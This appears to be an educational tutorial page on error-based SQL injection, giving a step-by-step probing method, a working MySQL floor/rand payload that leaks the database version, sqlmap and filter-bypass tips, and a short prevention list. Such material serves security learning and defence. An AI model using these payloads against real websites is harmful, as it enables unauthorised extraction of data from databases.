Error-Based SQL Injection - Cybersecurity Academy

What is Error-Based SQL Injection?

Error-Based SQL Injection is a technique where attackers exploit improperly handled database errors to extract sensitive data directly from the database. When input is not sanitized, crafted SQL payloads can trigger errors that leak valuable information in the response.

🔍 Key Concepts

Relies on the application displaying SQL error messages
Primarily works on MySQL, MSSQL, PostgreSQL with verbose error settings
Often used during early recon or quick data extraction
Requires the page to return detailed database error output

🧠 Step-by-Step Guide

Step 1: Identify injectable parameters

Test common input points like ?id= or ?product= with simple payloads:

https://target.com/product.php?id=1'

Step 2: Analyze error responses

If you see a SQL error like:

You have an error in your SQL syntax near '' at line 1

It confirms the parameter is injectable.

Step 3: Use crafted payloads to extract data

Trigger database errors that reveal table/column names or data:

' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT @@version), FLOOR(RAND()*2)) AS x FROM information_schema.tables GROUP BY x) a)-- -

Step 4: Interpret the leaked information

The error message may now return database version or table names depending on the payload.

🧪 Real-World Example

# Vulnerable URL
https://target.com/news.php?id=2

# Test payload
?id=2'

# Error message observed:
"You have an error in your SQL syntax"

# Exploit to leak database version
?id=2 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT @@version), FLOOR(RAND()*2)) AS x FROM information_schema.tables GROUP BY x) a)-- -

💡 Tips & Techniques

Enable verbose error logging in local labs for practice
Use tools like sqlmap with --technique=E to automate
Look for generic errors first: “SQL syntax”, “ODBC”, “near ‘…’”
Bypass filters using encodings or comment syntax like -- or #

🛡️ How to Prevent Error-Based SQLi

Use prepared statements (parameterized queries)
Sanitize and validate all user inputs
Disable detailed database error messages in production
Implement Web Application Firewalls (WAFs)

💥 Error-Based SQL Injection